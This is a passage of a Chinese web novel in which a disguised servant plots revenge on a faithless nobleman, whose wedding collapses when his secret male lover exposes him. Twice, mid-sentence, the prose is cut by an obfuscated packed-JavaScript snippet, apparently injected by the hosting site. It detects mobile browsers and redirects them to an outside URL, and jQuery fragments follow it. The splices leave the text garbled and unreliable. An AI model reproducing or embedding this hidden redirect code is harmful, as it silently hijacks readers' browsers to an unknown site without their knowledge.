不知不觉一个时辰过去了,严宏道已经开始坐不住了,放弃试探厉思远的想法,百般无聊地喝闷酒。 其他人见状连忙上前敬酒,却都被严宏道骂跑了。 其中就包括陆景明。 他一马当先冲上去,却被严宏道阴阳怪气了一顿,说他是赘婿、舔狗,又说他离了伍家什么都不是。 陆景明气的脸上的笑挂不住,闷了一口酒后,顶着周围刺眼的目光,怒气冲冲离开了雅间。 坐在楼下的敛烟吃水果都吃了个饱,听着邱容喋喋不休说自己以后要买个什么样的房子,打算怎么布置,和苗儿的婚事怎么办之类的话,耳朵都快磨出茧子了。 当她看到陆景明愤然从楼上冲下来的时候,又重新燃起了希望。 真是天助我也! 只见陆景明有些醉醺醺地扶住了楼梯扶手,拒绝了过来搀扶的下人,一个人从大门走了出去。 敛烟摸了摸怀中早就藏好的一把匕首,以解手为借口,匆匆跟了上去。 江边吹来微凉的风,让人瞬间头脑清醒了几分。 陆景明手扶在栏杆上,深吸了一口濡湿的空气。 刚才屈辱的一幕幕浮现出来,虽然没有明说,但那一道道讥讽的眼神,让他忍不住想要干呕。 一个个不知天高地厚的人,等我以后平步青云,要让你们所有人都后悔! 陆景明沉浸在自己的想象中,完全没有注意到身后悄悄靠近的人。 深夜的登云阁外没什么人,夜色隐去了敛烟的身形,让她能够毫无顾忌地握紧手里的匕首,轻轻靠近不远处的陆景明。 她的心跳鼓动着、喧嚣着,握住匕首的手已经沁出了细密的冷汗。 她不是没有想过请花奴代劳,他曾说过,只要酬劳合适,他可以替她除掉任何人。 但是敛烟不想牵连他人。 她自己的仇人,要自己亲手血刃。 可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268744|182205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是真的到了这个时候,敛烟发现杀人并不像自己想象的那样简单。 她站在离陆景明不远的角落里,紧紧盯着他的背影,呼吸都变得急促起来,内心剧烈煎熬着。 每每闭上眼睛,她都能看到父亲和母亲死亡的惨状,以及抄家时官兵们冰冷的视线。 伍家她动不了,但陆景明必须死,就算是拼上她的命! 敛烟缓缓闭上双眼,又猛地睁开,下定了必死的决心,将匕首从怀中缓缓掏出。 杀了他,杀了他,杀了他—— 敛烟此刻满脑子都是这个想法,心跳的越来越快,脚步一刻不停,眼看着离陆景明越来越近。 就在这时—— “陆兄!” 敛烟身子猛地一抖,她下意识转身就要跑,却忽然感觉自己肩被人一按又一转,整个人无法控制地朝前面倒去,撞入了一个温热坚实的胸膛上。 紧接着被人用臂膀紧紧揽住,动弹不得。 她正想要挣扎,却听见陆景明难以置信的声音: “厉思远?” “厉、厉大人……”这是刚才那声喊“陆兄”的声音,听着是一个年轻的大人。 敛烟听到耳边传来厉思远的声音:“陆大人,沈大人。” 胸腔震动的感觉,让敛烟侧边的脸颊微微发麻。 陆景明看着厉思远圈在怀里的人,他袖子宽大,又把人护的紧,所以那人看不清模样,只露出一颗毛茸茸的头。 看这头饰……似乎是个瘦小的男子。 陆景明挑了挑眉,护的这样紧,两个人之间什么关系显而易见。 什么不近女色,清风明月,这厉思远不过也是个俗人,看来有些谣传所言非虚啊。 陆景明不屑地撇了撇嘴,语气上多了些阴阳怪气:“厉大人这是带人出来赏月?” 这时,刚才那位沈大人已经走到了陆景明身边,显然也对眼前一幕震惊又好奇,忍不住盯着厉思远怀里的人看。 “嗯。”厉思远简短应了一句:“我们还有其他要事,就先不打扰二位了。” 说完,他揽住敛烟的腰,把她往怀里一带,顺势转过身,带着她朝一旁僻静处走去。 等到两个人走远,沈大人才咋咋呼呼地叫道: “厉思远他、他这是……有相好了?啧啧啧,这京城又要多出多少伤心的贵女啊……” 厉思远拉着敛烟,来到了一处无人的角落,确认没有其他人跟上来后,才松开了手。 他垂眸看着心虚不已的敛烟,伸出一只手在她面前摊开:“拿出来。” 敛烟心里一阵绝望,完了,还是被他发现了。 她磨磨蹭蹭地从怀中慢慢掏出匕首,厉思远倒也不催,只摊着手耐心等着。 等到匕首被被规规矩矩放在他手里后,才缓缓开口: “你刚才想杀陆景明?” “为什么?” 敛烟识趣地垂着头,打算跪下去认罪,却被厉思远拉住了胳膊: “站着回话。” 敛烟偷偷看了一眼厉思远的脸色,嗫喏着:“陆景明,他害了我家老爷和小姐,小人只是气不过……” “王雨生跟你说的?” 敛烟点点头:“嗯。” 王雨生那天晚上同她说的话,再一次响彻耳畔,她的声音忍不住又颤抖起来: “小人记得,在老爷出事以后,敛府曾经莫名其妙走过水,是陆景明及时赶过来才扑灭了大火,但……” “但是南陵侯府离敛府很远,不可能及时赶到,所以你怀疑是他将军饷偷偷运进的敛府。”厉思远平缓的声音响起,接下了敛烟的话。 敛烟闷闷点点头: “我听说了,夫人……她在流放的路上被马匪截杀,敛府的人几乎全都……” 提到母亲,敛烟喉头哽住,眼泪瞬间落了下来,止都止不住。 “如果不是陆景明,也不会……所以小人一时糊涂……” 敛烟抬起袖子,用力擦了擦脸上的泪水。 罢了罢了,自己意图行刺朝廷命官,被大理寺卿抓了个正着,日后怕是不能在大理寺当差了。 她抬起头,看向厉思远:“大人,小人不求您能继续把我留在身边,只求大人能够放小人一条生路。” “等到小人替敛府平反,再来大理寺自首。” 厉思远垂眼看着敛烟潋滟着泪光的眼睛,江面的风吹来,将她的发丝粘在了额前。 他不禁想起了在审问王雨生的时候,问过他的问题。 敛家小姐真的死在了流放路上么? 王雨生斩钉截铁说过,他亲眼看到敛烟死在了马匪的刀下。 但……若是他骗他呢? 一个家仆,真的可以为了主家,放着大好的日子不过,去杀人么? 他是一个有些固执的人,有些事情,或许亲口确认比较好。 他抬起手,轻轻将敛烟的发丝拨开。 敛烟被他的动作吓了一跳,却发现厉思远的眼神温柔似水,又似乎……带着几分心疼。 只听见他缓缓启唇: “若是我肯帮你,你能把所有事情都毫无保留告诉我么?” 厉思远目光灼灼,指尖停留在敛烟的耳侧: “比如……你到底是谁?” 42. 陆景明大婚 那天,在敛烟自告奋勇去审问王雨生后,厉思远又再次提审了他。 与之前强硬的态度不同,王雨生竟然一夜之间态度缓和了许多。 不仅承认了替换申太医失踪案案卷的事实,还说出了藏匿证物的地点。 厉思远心中诸多猜测,在这一刻忍不住想要去证实,所以他问了王雨生一个问题: “你知道,敛府的其他亲眷现在在哪里么?” 王雨生显然对他这个问题很是震惊,厉思远又解释道: “我知道敛大人贪墨的案子有诸多疑点,他家里亲眷无故被流放怕是受不住西北苦寒,我想要派人去,多少照顾一二。” 王雨生却十分笃定地告诉他,除了敛家二公子敛承允如今不知去向外,其他人全都已经被马匪截杀。 “我当时和你的想法一样,本想跟上去多少照顾他们孤儿寡母一些,却还是没来得及。” “我亲眼看到了他们所有人的尸体,除了敛承允。” 心中那一连数日的期待,瞬间被兜头浇了一盆冷水,原本燃起的一点希望瞬间消失。 厉思远依旧不死心,追问道: “你确定是所有人?包括敛家嫡女?” 王雨生何时见过这么急切的厉思远,内心不禁犯嘀咕。 厉思远为什么这么迫切想要知道敛家其他人的下落?还特意问了敛烟? 厉思远如果知道敛烟的真实身份,真的会帮她么?会不会让敛烟陷入危险? 这样想着,他还是笃定点头:“对,包括烟儿。” 冰凉的江风将厉思远从回忆中抽离,他定了定神,耐心等待敛烟的回答。 而此时的敛烟,内心更是煎熬。 厉思远刚才的问话回荡在她脑海中,让她大脑飞速旋转起来,原本平复的心跳又开始加速。 他什么意思?他知道我是敛烟了? 不、不可能,如果他知道的话,就不会这么问了。 他这么说,说明他只是猜测,并不确定。 那到底哪里出了问题,让他开始怀疑我的身份? 思绪翻涌,敛烟猛地想起厉思远对她态度明显转变,是他把她从大理寺的湖里救出来的那天。 那时候她被湖水呛到,头脑昏昏沉沉,无暇顾及其他。 但自那以后,厉思远让她单独住,还对她有些小心翼翼,分明就是知道了她是女子! 电光火石之间,敛烟已经想清楚了。 就说他怎么最近态度奇奇怪怪的,厉思远平日里也不和女子亲近,忽然发现身边的贴身侍从竟然是女子,还替他洗过药浴,寻常人都会觉得尴尬。 敛烟抬起头,仿佛笃定了什么似的,郑重其事地朝厉思远福了福身: “小人无意欺瞒大人,但确实是不得已而为之。” 厉思远声音低沉,尾音勾人似的,淡淡开口: “欺瞒了什么?” “小人其实……是女子。”敛烟低头仿佛十分愧疚般,艰难开口:“小人并非是敛府的寻常下人,而是小姐身边的人。” “小女子,名叫苗儿。” 厉思远恍惚了一下。 他知道,敛烟身边自小就跟着的一个名为苗儿的婢女。 许是两个人相处时间很长,所以容貌有几分相似。 他雀跃的心一点、一点沉了下去,很快便恢复了沉寂。 是啊,他自己亲手将她的尸骨埋进土里的,又怎么会再希冀她还活着? 真是……愚蠢到可笑啊…… 厉思远没有说话,身子晃动了两下,随后扶上了面前的栅栏。 就在此时,不远处的夜空中忽然绽放出绚烂的烟火,一个接着一个,在空中炸响。 烟火倒映在波光粼粼的江面,也照亮了两个人的脸庞,他们不约而同看向烟火绽开的方向,都没有说话。 良久,厉思远才掉转手里的匕首,递给了敛烟: “你想要替主家报仇,何必搭上自己,况且以你的力气,顶多就是伤到陆景明而已。” 看出来他这是接受自己是苗儿的说法了。 敛烟讪讪地接过匕首,不得不承认自己的确被仇恨冲昏了头,厉思远说的没错。 想到自己手上还要沾上陆景明那厮的血,只觉得一阵恶心。 “你想要报仇,还有一个办法。” 敛烟抬起头,眼睛骤然亮起来:“大人……有什么办法?” 厉思远看着敛烟,淡淡道: “他与伍家四小姐的婚礼定在下月初八。” “如果大婚之日出了什么差错,他就无法攀上伍家,那他想要的一切就无法实现。” 是啊,对陆景明这样自私自利的小人来说,有什么比求而不得更痛苦的呢? 敛烟计上心来,雀跃地原地跳起,一把抓住厉思远的胳膊,露出一排白花花的小牙: “谢大人!” 厉思远身子一僵,抽回手臂点点头,转身离开了。 敛烟有些困惑地歪了歪头。 但不知道是不是自己的错觉,她总觉得厉思远忽然变得客气又疏离。 之前他到底把自己误会成了谁,才露出那样温柔的神色呢? * 五月初八,南陵侯府嫡长子大婚。 大婚当日,京城家家户户都围在道路两侧,抻着脖子看向远处敲敲打打走过来的队伍。 走在最前面的,就是意气风发的陆景明。 他骑在高大的骏马上,身着红衣,胸前挂着大红花,他端坐在上面,一脸喜悦。 伍熹微娇纵跋扈,自己每天都小心翼翼,担心哪句话惹了她不快,解除婚约。 如今终于可以名正言顺地将她迎娶进门了! 就算是伍家上下再不喜自己,但只要娶了伍熹微,攀上伍家这棵大树,自己以后的路不可谓不宽广。 一想到这里,陆景明只觉得心里畅快无比,双脚微微夹紧马腹,迫不及待地朝伍家走去。 然而他没有看到,在热热闹闹的人群里,站着一个戴着锥帽的娇小的男子。 那男子轻轻抬高帽檐,正是陆景明藏在虞园里的爱人许会。 许会愣愣地看向马背上掩饰不住笑容的陆景明,心瞬间沉到了谷底。 前段时日,陆景明忽然提到让他搬出虞园,说是家中父母得知了虞园的存在,想要来游玩避暑。 而且搬去的位置,竟然是离京城很远的一个偏僻宅院。 许会当然不开心,他嘴噘的老高,非要留下来不可,两个人为此大吵一架。 陆景明从和他在一起后,从来没有说过什么重话,许会为此一晚上没有睡着觉。 后来,他想着各退一步,便答应了陆景明搬出去,但对新买的院子和里面的布置都提出了很苛刻的要求。 陆景明一一应了下来,许会这才没再闹脾气。 然而就在昨天,他在新买的院子里侍弄花草,一把飞刀却忽然从外面飞进来,砰地一下钉在了不远处的柱子上,吓得许会差点当场晕过去。 等到他缓过神来,发现那柄飞刀下面竟然钉着一张书信。 上面写着:五月初八,陆景明大婚。 短短几个字,让许会如遭雷击。 什么?陆郎要结亲了? 他为何没有同我说?他不是说……要正大光明和我在一起么? 这个时候他忽然觉得,陆景明让他从虞园换到这间院子里,根本就不是什么父母要去避暑。 他是怕自己知道他要结亲而闹脾气!! 所以许会没有告诉陆景明,在五月初八这天,戴上了锥帽偷偷跑到了京城来。 果然……那封信竟然说的是真的! 再一打听,原来陆景明是要娶伍家四小姐! 是啊,伍家能给他带来的,远比自己的真心要多得多! 许会站在人群中,看着吹吹打打的迎亲队伍,和坐在骏马上朝旁边百姓招手的男人,心中妒意翻涌。 陆景明,你不想把我们之间的关系公之于众,那我偏不如你的愿! 我不仅要把我们的关系公开,还要让所有人都知道! 伍家,正堂。 红色绸带和红灯笼挂满了整个府邸,伍四爷乐呵呵坐接受着其他宾客的祝福。 “哎呀没想到我们闺女真的能嫁出去,就她那个骄纵的性子哟,一般人可受不了!” 伍四爷长相憨厚,和他那个大哥伍骞北简直就是两个极端,说话向来不过脑子,性子也是与世无争。 四太太就坐在旁边,闻言白了伍四爷一眼: “什么叫真的能嫁出去?我们闺女哪儿都好,偏偏就嫁了那个南陵侯府,他们侯府就是个不受重视的,你竟然还答应了!” 自从伍熹微和陆景明说亲后,伍四太太就是反对的。 奈何这门亲事是伍骞北亲自发话,伍熹微又十分满意,伍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268745|182205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四太太再看不上陆景明,也只能打碎牙往肚子里咽。 伍四爷把伍四太太的手拿过去轻轻拍了拍:“哎呀,只要我们熹微能嫁给一个疼她爱她的人,身份地位这些哪里有那么重要啊?” “我们啊,要懂得知足。” “这大喜的日子,别愁眉苦脸了,来来来,为夫先敬夫人一杯。” 伍四太太抿着唇,忍不住被逗笑了,两个人正浓情蜜意的时候,就听见门外有人来报: “老爷,伍将军来了。” 伍四爷腾地一下从座位上站了起来,也没心思照顾伍四太太的情绪了,紧张地提了提腰带,正了正帽子,轻咳一声迎了出去。 伍骞北今日都卸去了盔甲,穿上了便服,半仰着下巴,迈过门槛走了进来,高傲地扫视着门内的场景。 周围的宾客看到他也都噤了声,有些畏惧地打量着他。 开国大将军,又是镇守西北边境的功臣,的确是让人生畏惧的存在。 伍四爷乐呵呵地小跑出来,肉眼可见地紧张: “哎哟兄长,可把你盼来啦,那个……嫂子呢?” 伍骞北依旧保持着那副高傲的姿态,不咸不淡开口: “你嫂子被贵妃娘娘喊去,陪同太后娘娘礼佛去了,就不能来了。” 一副目中无人的样子,显然没有把伍四爷放在心上。 伍四太太在旁边面色难看,伍四爷却不敢有半点不悦,陪笑着把他朝正堂引: “哎呀,那可真是不凑巧,不过你能来已经很好了!熹微看到你一定会很高兴。” 伍骞北懒洋洋坐到了正堂侧边的椅子上,忽然笑着冒出一句: “熹微自然是高兴的,就是不知道四弟妹也一样高兴么?” 伍四太太脸色一僵。 伍骞北这句话显然戳破了她的心思,一时间几个人都沉默了,不知道该说些什么。 还是伍四爷打了圆场:“当然高兴了!自家闺女嫁一个好夫婿,能不高兴嘛!是吧!” 他用胳膊肘怼了怼伍四太太,伍四太太干笑一声。 “是啊,四弟文不成武不就的,还一连生了三个女儿,这对伍熹微来说已经算是不错的亲事了,对吧?” 伍骞北不依不饶,语气里充满嘲讽。 伍四爷这个时候笑容也挂不住了,脸上青一阵白一阵的,呆愣在原地。 门外传来了一阵喧闹声,紧接着就是一个小孩子的喊声: “新郎官来啦!” 话音刚落,噼里啪啦的爆竹声响起,接着就是一阵敲锣打鼓声。 伍四爷和伍四太太很快被吸引了注意力,他们连忙喊婆子们把伍熹微带出来。 伍熹微穿着大红喜服,头上盖着盖头,手里拿着一把金丝红纱罗扇,在丫鬟婆子们的搀扶下款款走了出来。 盖头下,伍熹微抿着红唇,忍不住笑出声。 她虽然是性子骄纵,但近段时日确实被陆景明的甜言蜜语哄得开心,不然也不会嫁给他。 想到自己马上就能和心上人在一起了,伍熹微心中按耐不住的喜悦,她举着罗扇,脚下的步伐忍不住加快了一些。 陆景明就站在伍家门外,翘首以盼。 周围的百姓也都窃窃私语,说南陵侯府是个命好的,竟然攀上这样一个亲家,未来肯定不会愁。 看着不远处伍熹微走来的身影,陆景明的心也落了下来,等到她坐上自己身后这顶花轿,这婚事就成了。 以后在朝堂上,那些官员见了他还不敢毕恭毕敬的? 陆景明甚至能够想象到厉思远对自己恭敬行礼的模样,嘴角越翘越高,得意洋洋地瞧着伍府里面的情况。 伍四爷和伍四太太从丫鬟婆子手里接过伍熹微,细细叮嘱着她去婆家以后的事情。 伍四太太说着说着,竟然有些哽咽,周围的宾客从旁劝慰,这才哭哭啼啼把伍熹微送出了门。 陆景明牵着伍熹微的手,将她送到了那顶大红花轿上,转过身就被伍四爷拉住了袖子。 伍四爷面容严肃,沉声道:“熹微嫁过去以后,一定要好好待她,如果让我知道了你对她不好,我定饶不了你!” 陆景明伸出手,想要安抚地拍拍伍四爷。 就在这时,人群中忽然传来一阵骚动。 紧接着,许会从人群里冲了出来,指着陆景明,带着哭腔大吼: “你个薄情寡义的负心汉,我真是看错你了!” 43. 闹剧 围观的百姓瞬间静了下来,但随即又爆发出了窃窃私语。 “他是谁啊?” “哎等等我知道他啊,他不是之前清风楼里特别有名的清倌儿,专门侍候那些好男风的贵人?好像是……叫许会?” “我知道我知道,先前听说他被人赎了去,后来再没有消息,怎么出现在这里?” “他为什么要叫陆景明是负心汉?难不成……给他赎身的人竟是陆景明?” “啧啧啧,看不出来啊,陆景明竟然好男风??” 陆景明被冲出来的许会吓了一跳,他看到了伍四爷肉眼可见阴沉下来的脸色。 他不是把许会送到别庄上了么?他为什么会忽然回来? 但容不得陆景明多想,因为他余光瞥见了站在伍家门口的伍骞北。 要知道这门亲事,是他向伍骞北求来的。 陆景明努力平复内心的恐慌,看向许会: “你是谁?为什么要说这番话?” 他边说着,边翻身上马,故作轻松地笑了笑: “想要拦下迎亲队伍要喜钱吗?花样真是越来越多了,等下跟在后面,就会有赏钱,不要心急。” 说完,他挥了挥手,示意迎亲队伍出发。 “等等——” 花轿内忽然传来了冷冷的声音,原本打算继续敲锣的迎亲队伍齐齐一愣,不约而同停下了动作。 伍熹微从花轿中探出头,掀开盖头的一角,看向许会: “你,继续说,你是谁?为什么要到这里来?” 她看向陆景明,缓缓道: “负心汉……又是怎么回事?” 许会见陆景明竟然装作不认识自己,心中怒意滔天,不管不顾上前一步: “陆景明,你还装作不认识我?” “你把我从清风楼里带出去的时候,口口声声说要名正言顺把我带回家,让我等你。” “你不是说这辈子只爱我一个人么?嗯?为何要瞒着我另娶?” “当初你说你和敛家的婚约是逼不得已,现在呢?也是被逼无奈么?为什么只我一人在苦苦等待?” 随着许会将一切真相抖落出来,陆景明仿佛被人掀开了遮羞布,他慌张地否认: “你到底在说什么?是谁让你对我说这些的?” 他转过身,朝坐在花轿里的伍熹微喊道: “熹微!你不要听他瞎说,肯定是有人指使他这么做的!” 伍四爷和伍四太太这个时候已经不知道哪些是真,哪些是假的了,只觉得十分丢人。 伍四太太从花轿上把自家宝贝女儿拉了下来。 “熹微,走,我们不嫁了!” 陆景明慌了,他从马上跳下来,也扯住伍熹微的袖子往回拉: “别,等等,你要相信我啊熹微!伯父伯母……我真不认识他!” 见陆景明依旧不见棺材不落泪,许会干脆破罐子破摔,他眼角噙泪,从怀中掏出了厚厚一沓书信,举到半空中: “你不承认是吧?那是谁给我写的这些信?” 雪花般的纸笺从他手中飘落,哗啦啦撒了一地。 陆景明脸色一变,伸手就要去抢,然而一双手却比他的速度更快,两指一夹又往回一抽,两张书信便被拿了回去。 伍熹微头上珠钗凌乱,她也全然不管自己的形象,三下五除二便拆开了书信。 只看了一眼,她便几乎要干呕出来。 里面的内容污秽不堪,简直是不堪入目,再看这字迹,不是陆景明的又是谁? 伍熹微气的手都在发抖。 她伍熹微被千娇百宠着长大,何时受过这样大的委屈? 更何况是在自己的婚礼上!在全京城百姓的注视下! 伍熹微转过身,一把将那封书信甩在了陆景明脸上。 她一把扯下自己头上的红盖头踩在地上,大吼出声: “陆景明!你……你无赖!你恶心!我伍熹微这辈子都不会嫁给你!” “你个不知礼义廉耻的下贱小人!你这辈子都不得好死!” 最后是几乎带着哭腔说完的,伍熹微也不再听陆景明说什么,提着裙摆便冲回了府里。 陆景明想要追上去,却被伍四爷和他的手下拦住了去路。 一向好脾气的伍四爷如今也气的脸色涨红,他颤抖着伸出手指,指向陆景明: “给……给我滚……” 陆景明试图说服他:“爹……你、你听我解释……” “滚!!滚的远远的!”伍四爷忽然暴喝出声:“我……我这辈子,都不想再看到你出现在我们伍家!!!” 说完,他愤愤甩了下袖子,转身离开。 伍骞北站在伍家门口,全程看完了这场闹剧。 等到伍家大门缓缓合上以后,严宏道才从旁边走出来摇摇头,冷笑出声: “这个陆景明,给他机会他也不中用啊。” 原本他是不愿来的,但母妃觉得毕竟是他四舅舅家里的大事,还是逼着他带上贺礼来,他这才姗姗来迟,恰巧看到了门口许会大闹的一幕。 伍骞北看了严宏道一眼,只淡淡一眼,就让严宏道噤了声。 “你以为我没有查过他?”伍骞北声音冰冷:“如果不是你母妃做出来的荒唐事,我何至于给我们伍家挑这样一个不像样的婚事!” 他身形高大,常年征伐让他身上难免染上了肃杀之气,虽然严宏道和他身高相当,但伍骞北那天然强大的气场,让严宏道还是垂下了头不敢说话。 伍骞北不愿与他多说,只是嘱咐道:“陆景明知道不少我们的事,不要让他闹出太大的动静,知道么?” 严宏道点点头,又想到了什么,凑到伍骞北耳边: “舅舅,厉思远的事情……怎么处理?之前我在登云阁宴请,厉思远油盐不进,而且似乎对申太医的失踪……知道了些什么。” 伍骞北一听到这件事就头大,他一把拽住严宏道的衣领,恨铁不成钢: “要不是这些事,我几十年的功名,何至于被这些小辈牵制!” 但他也知道多说无益,忿忿地松开严宏道,深吸一口气: “这次我亲自上门,要让厉思远知道,这个京城我们伍家才说了算。” “若是他这次还不识相……” 伍骞北眼底掠过一丝阴冷: “那就别怪我们对他出手了。” 门外,陆景明站在原地,看着不知所措的迎亲队伍,气的牙齿打颤。 直接被逼当街退婚,这简直就是……奇耻大辱! 再转过头,就看到许会依旧不服气地站在原地,也不管周围指指点点的人,就好像根本不知道什么是羞耻。 许会的想法很简单,破坏了陆景明的婚礼,把事情摆在台面上,让他不得不公开二人的关系。 陆景明咬紧后槽牙,一把扯掉胸前的大红花,拉住许会的手腕转身离开了。 敛烟站在不远处的一个大槐树下,脚下踩着一块石头,手里捧着一袋地瓜干,边吃边朝伍家门口看。 看到陆景明拉走了许会后,她兴致缺缺地跳下大石头,啧了一声。 哎哟,还没看够呢,这就没啦? “啧,这就完了?” 站在她身边的花奴轻嗤一声,很自然地从敛烟手里抓了一把地瓜干,放在嘴里嚼着。 “刚才说给你买你不要,现在吃我的!”敛烟气鼓鼓地抗议。 这家地瓜干她可是起了个大早才买到的,而且每个人限购一袋! 花奴嚼着香甜的地瓜干,含糊不清答道: “谁知道他们迎亲队伍这么慢,我饿了 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敛烟心虚地移开视线:“他对我家小姐不忠,我当然要替小姐出气。” 花奴没有再抓着眼前这个姑娘的身份不放,而是瞥到了她的腰间,有些不悦道: “不是吧,我送给你的香囊就这么不好么?你怎么不戴?” 敛烟忍不住无语,怎么好端端的话题跑到香囊上面去了? 她只能一五一十作答: “厉大人说他受不了香气,就算是我放在偏房里隔着一道门也不行,我只能将它暂时放在其他人那里保管了。” “你们住在一起?”花奴忍不住惊讶。 敛烟点头:“我要伺候大人,所以大人特准我住在他卧房旁边的偏房。” “哦~”花奴细细打量了敛烟的神色,只见她泰然自若,仿佛这不是什么大不了的事情一样。 敛烟看了看日头,觉得时间还早,干脆就坐在了被太阳晒的暖烘烘的大石头上,和花奴并肩坐着,一起分完了一袋地瓜干。 末了,敛烟拍拍屁股站起身: “好了,我要赶紧回去了,我只告了上午的假,不能回去太晚。” 花奴耸耸肩,正要打算离开,面前忽然驶来了一辆马车,直接停在了他们二人面前。 朴素的青蓬梨花木马车,驾车的也是老熟人,山平。 车帘掀起,厉思远从里面探出头,扫了一眼两个人嘴里还在吃的地瓜干。 像是上课偷吃零食被夫子抓包,敛烟尴尬地擦了擦嘴角的碎屑,讪笑一声: “大人,我、我这就打算回去了。” “满意了?”厉思远淡淡问道。 敛烟挠了挠头,这才想明白厉思远在问她是不是满意对陆景明的处理。 敛烟忙不迭点点头,咧开嘴灿烂一笑:“当然满意,谢谢大人!” 厉思远“嗯”了一声:“满意就上车,我们回去吃饭。” “啊?”敛烟一愣,她以为厉思远要去办什么事,只是恰好路过而已。 他不会……特意来接她的? 这个想法一冒出来,敛烟自己都笑了,怎么可能呢?一个区区下人而已,何须费这一番功夫。 她应了一句,和花奴告别后便钻进了马车。 临行前,厉思远又从马车里面探出头,好像把什么东西丢给了花奴,随后马车缓缓前行,很快消失在了不远处。 花奴盯着马车消失的方向,垂眸张开手掌,里面躺着的正是他送给敛烟的香囊。 想起来厉思远把香囊丢给他的时候的眼神,花奴忍不住笑了一下。 对那姑娘说话冷漠又疏离,但却又想把她身边的一切都掌控住。 真是……搞不懂这人在想什么。 44. 许会之死 陆景明不顾许会的挣扎,强行将他拖回了虞园。 他一时气急,扭着许会的胳膊就把他带回了卧房。 等到许会被陆景明一把推倒在榻上后,他才甩开了陆景明的手。 他低头一看自己的手腕,倒吸一口凉气: “嘶——都红了!你能不能轻点儿!” 若是放在平时,陆景明会觉得许会这话说的像是挑逗,但今天他已经气到听不清许会在说什么了。 看到许会那一脸的哀怨,陆景明就气不打一处来,他指向许会,声音气到发哑: “你……你……你今天到底在闹什么!!!” 陆景明平时和许会都是温柔小意,哪里发过这么大的火?许会一下子就被陆景明愤怒的嗓音给吓到了。 他先是愣了一下,随后心中忍不住酸涩,一股委屈的感觉涌上心头,他眼泪几乎要夺眶而出: “我在闹什么?陆郎,你不觉得你欠我一个解释吗?” “这虞园,到底是你父母来住,还是把我送走好不打扰你亲事的借口?” 陆景明深吸一口气,他也知道自己理亏,便放低了声音: “……这件事是我做的不对,我向你道歉。” “先不说这个,你到底是怎么知道我今日结亲的?” 陆景明有些急不可耐,他隐藏的那样好许会是怎么知道的? 难道家中有内鬼? 许会见陆景明一心想要打听,丝毫不顾自己心情的样子,冷笑一声,从怀中掏出那封书信以及随着书信而来的匕首,扔到了陆景明面前。 “是你做的亏心事太多,不知道得罪谁了吧?”许会翻了个白眼。 陆景明皱着眉翻看了一下书信,上面端端正正的小楷,看不出到底是谁的字迹。 至于说那匕首…… 平平无奇,看着都不算锋利。 “这信……是直接用匕首送过来的?” 陆景明有些难以置信。 许会没好气地说道:“正扎在我旁边的廊柱上,吓我一跳呢!也不知道你到底惹了哪位江湖高手。” 陆景明紧紧咬住下唇。 知道许会在虞园的人很少,而与自己有什么深仇大恨的…… 倏忽间,他的脑海中闪过一个几乎已经消失在记忆中的脸。 敛烟…… 陆景明忍不住嗤笑一声,怎么可能是她? 当时他想用敛烟来做投名状,让伍家对他另眼相看,却没想到她竟然逃跑了。 后来听说她在路上被土匪杀了,死相惨状。 就算她没死,一个大家闺秀,手无缚鸡之力,更不可能有这样的身手。 敛烟的面容在他脑海中只是稍稍过了一下,很快便消散了。 门外,一个丫鬟提着茶壶送了热茶来。 陆景明这才发现卧房门口站了几个探头探脑的下人,为避免节外生枝,他接过热茶倒了一杯后,关上了房门。 此时许会已经从榻上站起来,坐到了旁边的桌案前,扁着嘴不让自己哭出来。 陆景明把那杯热茶递给他,坐在他旁边叹了口气: “你要知道,我想要往上走,不能没有助力,这伍家就是我的靠山。” “我一个区区九品官员,你以为真的能负担的起这么大的院子?你每天舒舒坦坦的过日子,你知道我在外面都要应付些什么吗?嗯?” “那金銮殿,是吃人的地方!无权无势,就凭自己一腔热血,早晚会被吃干抹净!” 陆景明说到后面,忍不住想起来自己因为家世不佳,而私下里被同僚耻笑的场景,声音越说越大,止不住开始颤抖起来。 许会吸了吸鼻子,泪眼朦胧地看向陆景明: “我许会,从来都没有奢求过什么大院子,这一切都是你一厢情愿给我的。” “我跟了你,是看到你对我的眷眷情深,真心要比任何财富和权力都要可贵。” 说着说着,许会看到陆景明明显不赞同的神色,忽然明白过来了什么。 他自嘲地一笑:“看来在你心中,只有权力和名声才是最可贵的,对么?” 陆景明心虚地看向别处,显然是被戳中了心思。 许会看向空荡荡的卧房,自己为了等陆景明的一句正大光明在一起,而在这里等了整整七年。 想到此前自己还在嘲笑敛烟被陆景明利用欺骗,没想到回旋镖竟扎在了自己身上,就觉得可笑。 许会看着陆景明,轻声问道:“你到底爱我么?” 陆景明眉头一皱,开口:“……当然爱。” 许会点头:“那好,既然我们的关系已经被公开了,那你就说服你父母带我过门。” “东华国不是没有高门贵胄娶男妻的先例,你是南陵侯世子,只要你说服父母,自然是可以的。” 许会凑近了些,让陆景明无法躲避自己的视线,一字一句问道: “你,能答应我么?” 陆景明犹豫地垂下头,伸手抓了一把自己的头发:“你知道的,我父母……他们是不可能答应的。” “先……先不说这个,我要先想办法和伍家解释,他们一定非常生气,我……” 陆景明刚抬起头,就被劈头盖脸浇了一脸热茶,他嗷地一声从椅子上弹起: “你你你你——许会你干什么你!!” 许会把空了的茶杯狠狠摔在地上,伴随着啪嚓一声脆响,他掷地有声的声音传来: 